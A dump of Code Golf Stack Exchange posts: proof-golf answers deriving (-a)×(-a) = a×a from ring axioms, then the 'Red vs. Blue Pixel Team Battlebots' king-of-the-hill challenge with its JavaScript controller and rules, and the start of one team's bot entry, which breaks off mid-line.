Steps New answer, as my previous was flawed. Let me add some general comments first: * The problem does not allow to add terms on both sides of an equation; rather, we can only modify an initial string. * Multiplication is not assumed to be commutative. * We are given a unit **1**, but it plays no role whatsoever in the puzzle because it is involved exclusively in the rules that define it. Now for the proof (notice I define **n = (-a)** to simplify reading): ``` (-a)×(-a) := n×n = n×n + 0 = [Ax. 2] n×n + [n×a + -(n×a)] = [Ax. 3] [n×n + n×a] + -(n×a) = [Ax. 1] [n×(n+a)] + -(n×a) = [Ax. 8] [n×(n+a) + 0] + -(n×a) = [Ax. 2] [n×(n+a) + (n×a + -(n×a))] + -(n×a) = [Ax. 3] [(n×(n+a) + n×a) + -(n×a)] + -(n×a) = [Ax. 1] [n×((n+a) + a) + -(n×a)] + -(n×a) = [Ax. 8] [n×((a+n) + a) + -(n×a)] + -(n×a) = [Ax. 4] [n×(0 + a) + -(n×a)] + -(n×a) = [Ax. 3] [n×(a + 0) + -(n×a)] + -(n×a) = [Ax. 4] [n×a + -(n×a)] + -(n×a) = [Ax. 2] [(n+0)×a + -(n×a)] + -(n×a) = [Ax. 2] [(0+n)×a + -(n×a)] + -(n×a) = [Ax. 4] [((a+n)+n)×a + -(n×a)] + -(n×a) = [Ax. 3] [((a+n)×a+n×a) + -(n×a)] + -(n×a) = [Ax. 9] [(a+n)×a+(n×a + -(n×a))] + -(n×a) = [Ax. 1] [(a+n)×a + 0] + -(n×a) = [Ax. 3] [(a+n)×a] + -(n×a) = [Ax. 2] [a×a+n×a] + -(n×a) = [Ax. 9] a×a+[n×a + -(n×a)] = [Ax. 1] a×a+0 = [Ax. 3] a×a [Ax. 2] ``` [Answer] # 34 steps ``` Lemma 1: 0=0*a (8 steps) 0 A3: a*0 + -(a*0) A4: -(a*0) + a*0 A2: -(a*0) + a*(0+0) A8: -(a*0) + (a*0 + a*0) A1: (-(a*0) + a*0) + a*0 A3: 0 + a*0 A4: a*0 + 0 A2: a*0 Theorem: -a*-a = a*a (49 steps) -a * -a A2: (-a+0) * -a A2: (-a+0) * (-a+0) A3: (-a+(a+-a)) * (-a+0) A3: (-a+(a+-a)) * (-a+(a+-a)) A8: -a*(-a+(a+-a)) + (a+-a)*(-a+(a+-a)) A8: -a*(-a+(a+-a)) + -a*(-a+(a+-a)) + a*(-a+(a+-a)) A3: -a*(-a+0) + -a*(-a+(a+-a)) + a*(-a+(a+-a)) A3: -a*(-a+0) + -a*(-a+0) + a*(-a+(a+-a)) A8: -a*(-a+0) + -a*(-a+0) + a*-a + a*(a+-a) A8: -a*(-a+0) + -a*(-a+0) + a*-a + a*a + a*-a A2: -a*-a + -a*(-a+0) + a*-a + a*a + a*-a A2: -a*-a + -a*-a + a*-a + a*a + a*-a A8: -a*-a + (-a+a)*-a + a*a + a*-a A3: -a*-a + 0*-a + a*a + a*-a L1: -a*-a + 0 + a*a + a*-a A2: -a*-a + a*a + a*-a A4: a*a + -a*-a + a*-a A8: a*a + (-a+a)*-a A3: a*a + 0*-a L1: a*a + 0 A2: a*a ``` [Answer] # 25 steps Note: based on the question, I'm assuming that the rules of logic (including equality) are implied and do not count towards the total step count. That is, things like "if x=y, then y=x" and "if ((P AND Q) AND R) then (P AND (Q AND R))" can be used implicitly. **Lemma Z** *[6 steps]*: `0*a = 0`: ``` 0 = (0*a) + (-(0*a)) | Ax. 3 = ((0+0)*a) + (-(0*a)) | Ax. 2 = (0*a + 0*a) + (-(0*a)) | Ax. 9 = 0*a + (0*a + (-(0*a))) | Ax. 1 = 0*a + (0) | Ax. 3 = 0*a | Ax. 2 ``` **Lemma M** *[12 steps]*: `(-a)*b = -(a*b)` ``` (-a)*b = (-a)*b + 0 | Ax. 2 = (-a)*b + (a*b + (-(a*b))) | Ax. 3 = ((-a)*b + a*b) + (-(a*b)) | Ax. 5 = ((-a)+a)*b + (-(a*b)) | Ax. 9 = 0*b + (-(a*b)) | Ax. 3 = 0 + (-(a*b)) | Lem. Z [6] = -(a*b) | Ax. 2 ``` **Theorem** *[25 steps]*: `(-a)*(-a) = a*a` ``` (-a)*(-a) = (-a)*(-a) + 0 | Ax. 2 = 0 + (-a)*(-a) | Ax. 4 = (a*a + (-(a*a))) + (-a)*(-a) | Ax. 3 = a*a + ((-(a*a)) + (-a)*(-a)) | Ax. 1 = a*a + ((-a)*a + (-a)*(-a)) | Lem. M [12] = a*a + ((-a)*(a + (-a))) | Ax. 8 = a*a + ((-a)*0) | Ax. 3 = a*a + 0 | Lem. Z [6] = a*a | Ax. 2 ``` I feel like there's room for improvement here; for example, I use the commutative property of addition, though it feels like that should be unnecessary, since `(-a)*(-a) = a*a` is true in algebraic structures where addition is non-commutative. On the other hand, in those structures, the additive identity is commutative, and that's all I needed for the proof. I dunno. More generally, the proof's structure seems rather directionless; I just sort of threw stuff at the problem until it worked, so I bet there's some optimization to be done. This was fun--thanks for the interesting and creative question OP! I haven't seen challenges like these before; hopefully [proof-golf](/questions/tagged/proof-golf "show questions tagged 'proof-golf'") becomes a thing! ]
[Question] [ **This contest is officially over. The Blue Team won!** I autoran [two](https://i.stack.imgur.com/HFWgb.png) [sets](https://i.stack.imgur.com/kArMf.png) of 50 battles and amazingly, Blue won all 100 of them. Looking at the stats, it is clear that the cooperative entries of [PhiNotPi](https://codegolf.stackexchange.com/a/48435/26997) and [Sp3000](https://codegolf.stackexchange.com/a/48434/26997) were the real heroes. Great job you two! In fact, if you [disqualify every other member of the Blue Team](http://jsfiddle.net/CalvinsHobbies/jaava5et/#base), the Sphibots still put up a [very good fight](https://i.stack.imgur.com/Va5yp.png). Some Red Team folks were [planning to](http://chat.stackexchange.com/rooms/22548/red-team-chat-for-pixel-team-battlebots) take down the Sphibots, but this effort seemed to peter out. Sorry Red Team. The contest is officially over, but that does not mean you can no longer answer, it only means that I won't ever redeclare the official winner. Both teams are welcome to keep submitting bots, just for fun. The controller will stay up and remain functional as long as no future entries break it. --- This is a [king-of-the-hill](https://codegolf.stackexchange.com/tags/king-of-the-hill/info) contest, but instead of everyone fighting against each other, there will be two teams that compete: Red and Blue. Only one will be the winner. The team you are on depends on your [PPCG](https://codegolf.stackexchange.com/) user ID number. To find this, click your avatar at the top of the screen (you must be logged in) and look at the url of the page that opens. The number after `users/` is your ID number: ``` https://codegolf.stackexchange.com/users/[id number]/[display name] ``` For example, my PPCG user ID number is 26997: [``` https://codegolf.stackexchange.com/users/26997/calvins-hobbies ```](https://codegolf.stackexchange.com/users/26997/calvins-hobbies) Note that this number is different for different Stack Exchange sites. If your ID is an **even number**, then you are on the **Red team**. If your ID is an **odd number**, then you are on the **Blue team**. There is no way to change teams. You must work with your team to try to defeat the other team in a sort of [battle royal](http://en.wikipedia.org/wiki/Battle_royal) where every user controls a "pixel" of their team's color on the 128×128 grid that is the battlefield. Pixels can move around, communicate with their teammates, and take out the other team's pixels. It would get out of hand if anyone could create any number of pixels, so **every user may only submit one answer to this question.** This Stack Snippet (a minified version of [this fiddle](http://jsfiddle.net/CalvinsHobbies/cksk1LdL/#base) [**[fullscreen](https://jsfiddle.net/CalvinsHobbies/cksk1LdL/embedded/result/)**]) is the controller for the entire contest. It automatically reads the submissions, makes sure they are valid, and stages battles between the teams. It does this right in your browser at any time you want, using [JavaScript](http://en.wikipedia.org/wiki/JavaScript). Since JavaScript is the only client-side scripting language most browsers support, **all submissions must be written in JavaScript as well.** ``` function toggleDebug(){debug=$("#debug").is(":checked")}function rnd(e){return Math.floor(Math.random()*e)}function shuffle(e){for(var t,a,r=e.length;r;t=rnd(r),a=e[--r],e[r]=e[t],e[t]=a);return e}function maskedEval(e,t){var a={};for(i in this)a[i]=void 0;for(i in t)t.hasOwnProperty(i)&&(a[i]=t[i]);return new Function("with(this) { "+e+";}").call(a)}function createBattle(e,t,a,r){function n(){var e=rnd(i.length),t=i[e];return i.splice(e,1),t}var l={};l.width=l.height=128,l.totalMoves=2048,l.radius=16,l.msgMaxLength=64,l.timeLimit=15,l.move=0,l.redToMove=a,l.animated=r,l.running=!1,l.over=!1;for(var o=0,i=new Array(l.width*l.height),d=0;d<l.height;d++)for(var s=0;s<l.width;s++)i[o++]={x:s,y:d};l.redTeam=shuffle(e.slice()),l.redMsgs={},l.redKills={};for(var o=0;o<l.redTeam.length;o++){var u=n();l.redTeam[o].x=u.x,l.redTeam[o].y=u.y,l.redMsgs[l.redTeam[o].id]="",l.redKills[l.redTeam[o].id]=0}l.blueTeam=shuffle(t.slice()),l.blueMsgs={},l.blueKills={};for(var o=0;o<l.blueTeam.length;o++){var u=n();l.blueTeam[o].x=u.x,l.blueTeam[o].y=u.y,l.blueMsgs[l.blueTeam[o].id]="",l.blueKills[l.blueTeam[o].id]=0}return l}function drawBattle(e){function t(e){var t=3*e.x,a=3*e.y;ctx.fillRect(t,a,3,3),showNames.is(":checked")&&ctx.fillText(e.title,t+5,a+12)}function a(t){ctx.beginPath(),ctx.arc(3*t.x,3*t.y,3*e.radius,0,2*Math.PI),ctx.closePath(),ctx.fill()}e.animated&&(ctx.clearRect(0,0,canvas.width,canvas.height),showCircles.is(":checked")&&(ctx.fillStyle="rgba(255, 0, 0, 0.1)",e.redTeam.forEach(a),ctx.fillStyle="rgba(0, 0, 255, 0.1)",e.blueTeam.forEach(a)),ctx.fillStyle="red",e.redTeam.forEach(t),ctx.fillStyle="blue",e.blueTeam.forEach(t),moveCounter.text((e.move+1).toString()))}function movePlayer(e,t,a,r,n,l,o,i){function d(a){t.id!==a.id&&Math.sqrt(Math.pow(t.x-a.x,2)+Math.pow(t.y-a.y,2))<e.radius&&(u.push({x:a.x,y:a.y,id:a.id}),debug&&console.log(a.title+" is near"))}debug&&(console.log("--- Moving "+t.title+" ---"),console.log("position before move = ("+t.x.toString()+", "+t.y.toString()+")"));var s={};s.move=a,s.x=t.x,s.y=t.y,s.tCount=r.length,s.eCount=n.length,s.setMsg=function(a){"string"==typeof a&&(l[t.id]=a.length>e.msgMaxLength?a.substring(0,e.msgMaxLength):a,debug&&console.log('set message to "'+l[t.id]+'"'))},s.getMsg=function(e){var t=l.hasOwnProperty(e)?l[e]:void 0;return debug&&console.log('got message "'+t+'" from player with id '+e.toString()),t};var u=[];r.forEach(d),s.tNear=u,u=[],n.forEach(d),s.eNear=u,-1===t.id&&(s.console=console);var c=0,g=performance.now();try{c=maskedEval(t.code,s)}catch(v){c=0,debug&&(console.log("encountered error:"),console.log(v))}g=performance.now()-g,debug&&console.log("time taken = "+g.toString()+"ms"),g>e.timeLimit&&(c=0,debug&&console.log("went over the time limit of "+e.timeLimit+"ms"));var m=t.x,h=t.y;switch(c){case 1:e.redToMove?++m:++h;break;case 2:e.redToMove?--m:--h;break;case 3:++m,--h;break;case 4:--m,--h;break;case 5:--m,++h;break;case 6:++m,++h}m>=0&&m<e.width&&h>=0&&h<e.height&&(t.x=m,t.y=h),debug&&console.log("move direction = "+c);for(var f=0;f<n.length;f++)t.x===n[f].x&&t.y===n[f].y&&(debug&&console.log("took out "+n[f].title),++i[t.id],o[n[f].id]="X",n.splice(f--,1))}function advanceBattle(e){debug&&console.log("====== "+(e.redToMove?"Red ":"Blue ")+e.move.toString()+" ======");var t,a,r,n,l;e.redToMove?(t=e.redTeam,a=e.blueTeam,r=e.redMsgs,n=e.blueMsgs,l=e.redKills):(t=e.blueTeam,a=e.redTeam,r=e.blueMsgs,n=e.redMsgs,l=e.blueKills),t.forEach(function(o){movePlayer(e,o,Math.floor(e.move/2)+1,t,a,r,n,l)}),drawBattle(e);var o;return 0===a.length?(o=e.redToMove?1:-1,e.over=!0):++e.move>=e.totalMoves&&(o=e.redTeam.length>e.blueTeam.length?1:e.redTeam.length<e.blueTeam.length?-1:0,e.over=!0),e.redToMove=!e.redToMove,debug&&"undefined"!=typeof o&&console.log("win status = "+o.toString()),o}function newBattle(){if(0===redTeam.length||0===blueTeam.length)return void alert("Each team must have at least one player.");"undefined"!=typeof interval&&clearInterval(interval);var e=parseInt($("#delay").val());return isNaN(e)||0>e?void alert("Delay must be a non-negative integer."):(debug&&console.log("Created new battle with delay "+e.toString()),battle=createBattle(redTeam,blueTeam,$("#redMovesFirst").is(":checked"),!0),drawBattle(battle),void moveCounter.text("0").css("color","black"))}function reportKills(e,t){for(var a="Red Kills:\n",r=0;r<redTeam.length;r++)a+=e[redTeam[r].id].toString()+" by "+redTeam[r].title+"\n";a+="\nBlue Kills:\n";for(var r=0;r<blueTeam.length;r++)a+=t[blueTeam[r].id].toString()+" by "+blueTeam[r].title+"\n";return a}function intervalCallback(){var e=advanceBattle(battle);"undefined"!=typeof e&&(clearInterval(interval),battle.running=!1,alert([0===e?"Tie!":e>0?"Red Wins!":"Blue Wins!","Red remaining: "+battle.redTeam.length,"Blue remaining: "+battle.blueTeam.length,"\n"].join("\n")+reportKills(battle.redKills,battle.blueKills)))}function run(){if("undefined"!=typeof battle&&!battle.running&&!battle.over){battle.running=!0;var e=parseInt($("#delay").val());if(isNaN(e)||0>e)return void alert("Delay must be a non-negative integer.");interval=setInterval(intervalCallback,e)}}function pause(){"undefined"!=typeof battle&&(battle.running=!1),"undefined"!=typeof interval&&clearInterval(interval)}function step(){"undefined"==typeof battle||battle.running||battle.over||intervalCallback()}function autorunBattles(){function e(e){for(var t,i=createBattle(redTeam,blueTeam,e,!1);!i.over;)if(t=advanceBattle(i),"undefined"!=typeof t){i.over=!0,1===t?++a:-1===t?++n:++r;for(var d in i.redKills)i.redKills.hasOwnProperty(d)&&(l[d]+=i.redKills[d]);for(var d in i.blueKills)i.blueKills.hasOwnProperty(d)&&(o[d]+=i.blueKills[d])}}if(pause(),battle=void 0,0===redTeam.length||0===blueTeam.length)return void alert("Each team must have at least one player.");var t=parseInt($("#N").val());if(isNaN(t)||0>t)return void alert("N must be a non-negative integer.");console.log("Autorunning "+t.toString()+" battles");for(var a=0,r=0,n=0,l={},o={},i=0;i<redTeam.length;i++)l[redTeam[i].id]=0;for(var i=0;i<blueTeam.length;i++)o[blueTeam[i].id]=0;for(var i=0;t>i;i++)console.log("Battle "+i.toString()),e(i%2===0);alert([a===n?"Tie overall!":a>n?"Red wins overall!":"Blue wins overall!","Red wins: "+a.toString(),"Blue wins: "+n.toString(),"Ties: "+r.toString(),"\n"].join("\n")+reportKills(l,o))}function changeSelect(e){var t=e?redTeam:blueTeam,a=$(e?"#redSelect":"#blueSelect").val(),r=$(e?"#redCode":"#blueCode"),n=$(e?"#redLink":"#blueLink");null!==a&&a>-1?(r.text(t[a].code),n.attr("href",t[a].link)):(r.text(""),n.attr("href","javascript:;"))}function loadEntries(){function e(e,t){url="https://api.stackexchange.com/2.2/questions/"+qid.toString()+"/answers?page="+e.toString()+"&pagesize=100&order=asc&sort=creation&site=codegolf&filter=!JDuPcYJfXobC6I9Y-*EgYWAe3jP_HxmEee",$.get(url,t)}function t(d){d.items.forEach(function(e){function t(e,t){t.append(" ").append($("<a>").text(e.owner.display_name).attr("href",e.link))}function n(e){return $("<textarea>").html(e).text()}var d=e.owner.user_id%2===0,s=d?redTeam:blueTeam;if(e.owner.display_name=n(e.owner.display_name),e.hasOwnProperty("last_edit_date")&&e.last_edit_date-e.creation_date>r||dq.indexOf(e.owner.user_id)>-1||l.indexOf(e.owner.user_id)>-1)return void t(e,o);l.push(e.owner.user_id);var u=a.exec(e.body);if(null===u||u.length<=1)return void t(e,i);var c={};c.id=e.owner.user_id,c.title=e.owner.display_name+" ["+e.owner.user_id.toString()+"]",c.code=n(u[1]),c.link=e.link;var g=$(d?"#redSelect":"#blueSelect");g.append($("<option>").text(c.title).val(s.length)),s.push(c)}),d.has_more?e(++n,t):($("#loadStatus").hide(),$("#redCount").text(redTeam.length.toString()),$("#blueCount").text(blueTeam.length.toString()),0===o.html().length&&o.html(" none"),0===i.html().length&&i.html(" none"))}var a=/<pre><code>((?:\n|.)*?)\n<\/code><\/pre>/,r=28800,n=1,l=[],o=$("#disqualified"),i=$("#invalid");pause(),battle=void 0,redTeam=[],blueTeam=[],$("#loadStatus").show(),$("#redSelect").empty(),$("#redCode").empty(),$("#redLink").attr("href","javascript:;"),$("#blueSelect").empty(),$("#blueCode").empty(),$("#blueLink").attr("href","javascript:;");var d=$("#testbot").val();if(d.length>0){debug&&console.log("Using test entry");var s={id:-1,title:"TEST ENTRY [-1]",link:"javascript:;",code:d};$("#testbotIsRed").is(":checked")?(redTeam.push(s),$("#redSelect").append($("<option>").text(s.title).val(0))):(blueTeam.push(s),$("#blueSelect").append($("<option>").text(s.title).val(0)))}e(1,t)}var qid=48353,dq=[],ctx,moveCounter,showNames,showCircles,debug=!1,battle,redTeam,blueTeam,interval;$(document).ready(function(){ctx=$("#canvas")[0].getContext("2d"),moveCounter=$("#moveCounter"),showNames=$("#showNames"),showCircles=$("#showCircles"),loadEntries()}); ``` ``` <script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script><style>html *{font-family: Consolas, Arial, sans-serif;}select{width: 100%; margin: 12px 0 0 0;}button, select, input{font-size: 100%;}input{text-align: right;}textarea{font-family: "Courier New", monospace;}textarea[readonly]{background-color: #eee; width: 100%;}canvas{margin: 12px 0 0 0; border: 2px solid gray;}.redWrapper, .blueWrapper{width: 30%;}.redWrapper{float: left;}.blueWrapper{float: right;}.arenaWrapper{width: 40%; display: inline-block;}.redTeam, .blueTeam, .arena{padding: 12px;}.arena{text-align: center;}.redTeam, .blueTeam{border-style: solid; border-width: medium;}.redTeam{border-color: red; background-color: #fee;}.blueTeam{border-color: blue; background-color: #eef;}.redTitle, .blueTitle, .arenaTitle{text-align: center; font-size: 200%;}.redTitle, .blueTitle{font-weight: bold;}.redTitle{color: red;}.blueTitle{color: blue;}.control{margin: 12px 0 0 0;}.count{font-size: 75%; margin: 0 0 12px 0;}.footnotes{font-size: 75%; clear: both; padding: 12px;}</style><div id='loadStatus'> Loading entries...</div><div> <div class='redWrapper'> <div class='redTeam'> <div class='redTitle'> Red Team </div><select id='redSelect' size='20' onchange='changeSelect(true)'> </select> <div class='count'> <span id='redCount'></span> players </div>Code: <br><textarea id='redCode' rows='12' readonly></textarea> <br><a id='redLink' href='javascript:;'> Answer Link </a> </div></div><div class='arenaWrapper'> <div class='arena'> <div class='arenaTitle'> Battlefield </div><canvas id='canvas' width='384' height='384'> Your browser does not support the canvas tag. </canvas> <div>Move <span id='moveCounter'>0</span></div><br><div> <div class='control'> <input id='showNames' type='checkbox'>show names <input id='showCircles' type='checkbox'>show circles </div><div class='control'> <input id='redMovesFirst' type='checkbox'>red moves first </div><div class='control'> <input id='delay' type='text' size='4' value='20'> millisecond delay </div><div class='control'> <button type='button' onclick='newBattle()'> New Battle </button> <button type='button' onclick='run()'> Run </button> <button type='button' onclick='pause()'> Pause </button> <button type='button' onclick='step()'> Step </button> </div><hr class='control'> <div class='control'> <button type='button' onclick='autorunBattles()'> Autorun N Battles </button> N&nbsp;=&nbsp;<input id='N' type='text' size='4' value='16'> </div><div class='footnotes'> Autoruns may hang browser tab until complete. </div></div></div></div><div class='blueWrapper'> <div class='blueTeam'> <div class='blueTitle'> Blue Team </div><select id='blueSelect' size='20' onchange='changeSelect(false)'> </select> <div class='count'> <span id='blueCount'></span> players </div>Code: <br><textarea id='blueCode' rows='12' readonly></textarea> <br><a id='blueLink' href='javascript:;'> Answer Link </a> </div></div></div><div class='footnotes'> Test Entry: (id&nbsp;=&nbsp;-1) <input id='testbotIsRed' type='checkbox'>On Red Team <br><textarea id='testbot' rows='1' cols='32'></textarea> <br><button type='button' onclick='loadEntries()'> Reload with test entry </button> <br><br>This was designed and tested in Google Chrome. It might not work in other browsers. <br>Disqualified entries:<span id='disqualified'></span> <br>Could not find code block:<span id='invalid'></span> <br><input id='debug' type='checkbox' onclick='toggleDebug()'>Debug messages <br></div> ``` For visibility, the Snippet's battlefield is scaled by a factor of 3, so it's 384×384 real pixels and the "pixels" are 3×3. # Pixel Team Battlebots - Overview ***Players*** Each valid answer to this question represents a *player*. (For details on validity, see *"Rules and Disqualifications"*.) Every player has control over a single 1×1 cell (a.k.a. pixel) on the 128×128 cell *battlefield*. Players on the Red team have red pixels and players on the Blue team have blue pixels. ***Battles*** A *battle* is a fight between **all** the players on both teams, even if the teams don't have an equal number of players. A battle starts with every player being placed at a random position in the battlefield, that is, any integer coordinate from (0,0) at the top left, to (127,127) at the bottom right. It is guaranteed that no two players will start in the same position. ***Moves*** Each battle is broken up into 2048 *moves*. Only one team actually gets to move their players during each move. That team alternates back and forth from Red to Blue, so each team makes 1024 moves total (unless the game ends early). The team that gets to move first is an option you must set in the controller. When battles are autorun, the team who moves first alternates in every battle. ***Player Moves*** When a team moves, all the players on that team are called on to move themselves. These calls are done in a completely random order for each move. When called, each player is given data about the state of the battle so they can decide which way to move. All moves are only up to one pixel away. The dark circles in these diagrams mark which positions each colored player (the squares) can move to: ![Red team moves diagram](https://i.stack.imgur.com/q2szc.png) ![Blue team moves diagram](https://i.stack.imgur.com/DdzbY.png) Both colors can move diagonally in any direction or stay still, but only Red players can move right and left, and only Blue players can move down and up. [Thanks Phi and others.](http://chat.stackexchange.com/transcript/message/20813318#20813318) If a player tries to move out of the battlefield bounds, or takes too long deciding which way to move, or has some sort of error, they will automatically stay still. In addition to moving, during a turn a player can read messages written by their teammates and write messages that may in turn be read. This allows for a crude form of team communication. The code that you submit as an answer is the logic that determines which way to move your player and what messages to read and write (see *"How To Answer"*). ***Removing Enemy Players*** When a player moves into the same cell as a player on the opposing team, that opposing player is **immediately** removed from the battle. The player that just moved continues on as normal. This is the only mechanism that removes players from the battle and mastering it is the key to winning! If there are multiple enemy players in the cell a player just moved to, then all the enemy players are removed. Nothing happens if two players on the same team occupy the same cell. ***Winning a Battle*** A battle ends once all 2048 moves have been made or when one team has no players left. The team with the largest number of surviving players wins. It's a tie If both teams have an equal number of surviving players. # How To Answer In your answer, you need to provide the JavaScript code that decides which way your pixel will move when called on to do so. In the **first** indented code sample in your answer (the ones prefixed with 4 spaces), write a body for this function: ``` function moveMe(move, x, y, tCount, eCount, tNear, eNear, setMsg, getMsg) { //the body goes here } ``` There is no need to golf your code. ***What to Return*** The return value of the function determines which way your pixel moves: > > `0` to stay still > > `1` to move right for the Red team, down for the Blue team > > `2` to move left for the Red team, up for the Blue team > > `3` to move diagonally up and right > > `4` to move diagonally up and left > > `5` to move diagonally down and left > > `6` to move diagonally down and right > > > As a diagram: ![move return values diagram](https://i.stack.imgur.com/NT76v.png) Your pixel will stay still by default if your code does any of these things: * Returns anything besides an integer from 0 to 6. * Attempts to move pixel out of the battlefield bounds. * Takes longer than 15 milliseconds to run. * Throws any sort of exception. Your entry does not need to be deterministic; using `Math.random` is fine. ***The Parameters*** The first 7 function parameters of `moveMe` give information about the state of the battle: > > * `move` is an integer that starts at 1 and increments after every move until it is 1024 on your team's last move. > * `x` is your current x position, an integer from 0 (leftmost) to 127 (rightmost). > * `y` is your current y position, an integer from 0 (topmost) to 127 (bottommost). > * `tCount` is the current total number of surviving players on your team. > * `eCount` is the current total number of surviving players on the enemy team. > * `tNear` is a list of the current surviving players on your team that are less than 16 pixels away (Euclidean distance). Each element of `tNear` is an object with `x`, `y`, and `id` properties: > + `x` is the x position of the other player > + `y` is the y position of the other player > + `id` is the PPCG user ID number of the other player (as an integer) > * `eNear` is exactly like `tNear` except it is a list of nearby enemy players, not teammates. > > > The circles in the snippet are each player's `tNear` and `eNear` range. ***Messages*** The last 2 parameters, `setMsg` and `getMsg`, have slightly different purposes. Throughout a battle, each player has a string of up to 64 characters that they can manipulate during every move to store data and potentially communicate with their teammates. Each player's string starts out as the empty string. When a player is removed from the battle, their string is set to "X". * `setMsg` is a one argument function that sets your string to the string passed in. + If the value passed in is not a string, then your string doesn't change. + If the value is a string with more than 64 characters, only the first 64 are kept. * `getMsg` is a one argument function that takes the PPCG user ID number (as an integer) of someone on your team and returns their string. + That player may be anywhere in the grid. They do not need to be in your 16 pixel radius. + [`undefined`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/undefined) is returned if the given ID is not found. # Example Submission This player moves up and right if there is an enemy to the left, or else down and left if teammate with ID 123 says to, but otherwise stays still: ``` for (var i = 0; i < eNear.length; i++) { if (eNear[i].x === x - 1) return 3 } if (getMsg(123) === 'move down and left') return 5 return 0 ``` Note that this code block is all that's required. The function definition and brackets should not be present. # Rules and Disqualifications If a user is not abiding by the rules listed below, I may mark them as *disqualified* and the controller will automatically ignore their answers. I trust that most users here won't intentionally break the rules and there will only be a few temporary disqualifications for accidental causes. ***Important Rules*** 1. **You may only edit your answer during the 8 hour window directly after posting it.** Answers that are edited after 8 hours from when they were posted will automatically be disqualified by the controller. This rule is to prevent initial answers from continually optimizing their approach, possibly stealing ideas from later answers. Your team has to make do with whatever answers it started out with. You may not delete and repost your answer without special permission. I will give this if someone inadvertently edits your post after the 8 hour mark or something like that, but not just because you found a bug. If you delete your post and choose to undelete it, the edit rule still applies. (The controller cannot see deleted answers.) 2. **When declaring a new JavaScript variable, you must use the [`var`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/var) keyword.** This is because a variable declared without `var` becomes global rather than local, so it would be easy to accidentally (or intentionally) mess with the controller or communicate freely with other players. It has to be clear that you aren't trying to cheat. When declaring functions it is best to use the `var` keyword as well. i.e. use `var f = function(...) {...}` instead of `function f(...) {...}`. I'm not entirely sure why, but [sometimes](http://chat.stackexchange.com/transcript/message/20918016#20918016) it appears to make a difference. 3. **Your code should not run for an excessive amount of time.** If your code takes more than 15 milliseconds to run, your pixel will not move at all. However, since it is difficult in JavaScript to stop functions mid-execution, all player scripts are run to completion on every move, and the time checked afterward. This means, if your code does some time intensive thing, *everyone* running the controller will notice and be annoyed. ***Automatic Disqualifications*** The controller automatically disqualified entries for these reasons: * The user has already answered. * Edits were made more than 8 hours after creation. * User is specifically marked as disqualified. ***Other Rules*** In your code you may not... * attempt to access or modify the controller or other player's code. * attempt to modify anything built into JavaScript. * attempt to communicate with other players except by using `getMsg` and `setMsg`. * make web queries. * do otherwise malicious things. I'll keep an eye out for other unsportsmanlike behavior, such as stealing code verbatim from other answers or using sock puppets to mess with the other team. You are welcome to collaborate and scheme with your team, but keep the contest friendly and ethical. If you think someone needs to be disqualified or think you fixed the reason you were disqualified, leave a comment here for me or in the [question specific chat](http://chat.stackexchange.com/rooms/22504/red-vs-blue-pixel-team-battlebots). I am not participating in the contest. # Suggested Answer Format ``` #[team color] Team - [entry title] //function body //probably on multiple lines Explanations, notes, etc. ``` The entry title is an optional name you can give if you like. The controller does not do anything with it. # Scoring **This contest will be officially over on April 19, 2015.** On that day (around 11 pm UTC) I will autorun at least 100 battles (possibly many more depending on how long battles take). The team that wins the most will be the overall winner. If it is a tie or extremely close, I will run more battles until it is clear that one team has the advantage. (You may answer after the winner is decided, but I won't be changing the official outcome.) I'll be running them in the latest version of Google Chrome on a laptop with Windows 8.1 64-bit, 4 GB ram, and a 1.6GHz quad core processor. Make sure your JavaScript works in Chrome. The victory is primarily about team glory, but I will accept the highest voted answer on the winning team. *Throughout the contest, bear in mind that the team based aspect, and the fact that it is run entirely in a Stack Snippet, are very experimental. I have high hopes, but I can't say for sure how well things will work.* **Tips:** * You can test entries before answering. Edit the "Test Entry" textbox near the bottom of the Stack Snippet and click "Reload with test entry". If it is not empty it becomes a player on the team specified. * Answers are run in a masked scope, so things like `alert` and `console.log` won't work. The `console` object can only be used in the test entry. * Check "Debug messages" at the bottom of the Stack Snippet and look at your browser's console (F12). Lot's of useful info is printed when battles are running. * You can use the [Meta Sandbox post](http://meta.codegolf.stackexchange.com/questions/4954/red-vs-blue-pixel-team-battlebots-sandbox) as a kind of staging area. The answers there are of course different than here, and the controller there may get out of date. * Since this is not an official [Stack App](https://api.stackexchange.com/docs), the controller may stop loading answers for you if you restart it more than 300 times in a day. This challenge's "sequel": [Block Building Bot Flocks!](https://codegolf.stackexchange.com/questions/50690/block-building-bot-flocks) ### Quick Links [Fiddle Controller](http://jsfiddle.net/CalvinsHobbies/cksk1LdL/#base)   [Fullscreen](https://jsfiddle.net/CalvinsHobbies/cksk1LdL/embedded/result/)   [General Chat](http://chat.stackexchange.com/rooms/22504/red-vs-blue-pixel-team-battlebots)   [Red Chat](http://chat.stackexchange.com/rooms/22548/red-team-chat-for-pixel-team-battlebots)   (Blue Chat?)   [SandboxPost](http://meta.codegolf.stackexchange.com/questions/4954/red-vs-blue-pixel-team-battlebots-sandbox) [Answer] # Blue Team - SphiNotPi3000 ``` // Char 0: top or bottom ("T" or "B") // Char 1, 2: x/y coords // Char 3, move polarity // Char 4: offset (as codepoint - 128) var twin = 21487; var myself = 2867; var formpos = "T"; var tochar = String.fromCharCode; var movestat = (move % 2).toString(); var inbox = getMsg(twin); // Spoofing the message of a deceased partner if (inbox == "X"){ inbox = "B" + tochar(x) + tochar(y+1) + ((move + 1) % 2).toString() + tochar(0); } var selfsafe = [9,10,10,10,10,10,10]; // Remove useless edge moves if (x == 0){ selfsafe[4] = 0; selfsafe[5] = 0; } if (x == 127){ selfsafe[3] = 0; selfsafe[6] = 0; } if (y == 0){ selfsafe[2] = 0; selfsafe[3] = 0; selfsafe[4] = 0; } if (y == 127){ selfsafe[1] = 0; selfsafe[6] = 0; selfsafe[5] = 0; } var selfdisp = [[0,0],[0,1],[0,-1],[1,-1],[-1,-1],[-1,1],[1,1]]; if (inbox == "") { // First move, pick anywhere safe for (j = 0; j < 7; j++) { for (var i = 0; i < eNear.length; i++){ var enemy = eNear[i]; var dx = enemy.x - x - selfdisp[j][0]; var dy = enemy.y - y - selfdisp[j][1]; if (dx * dx == 1 && dy >= -1 && dy <= 1) { selfsafe[j] = 0; } } if (selfsafe[j]) { var strpos = tochar(x + selfdisp[j][0]) + tochar(y + selfdisp[j][0]); var offset = tochar(Math.floor(Math.random() 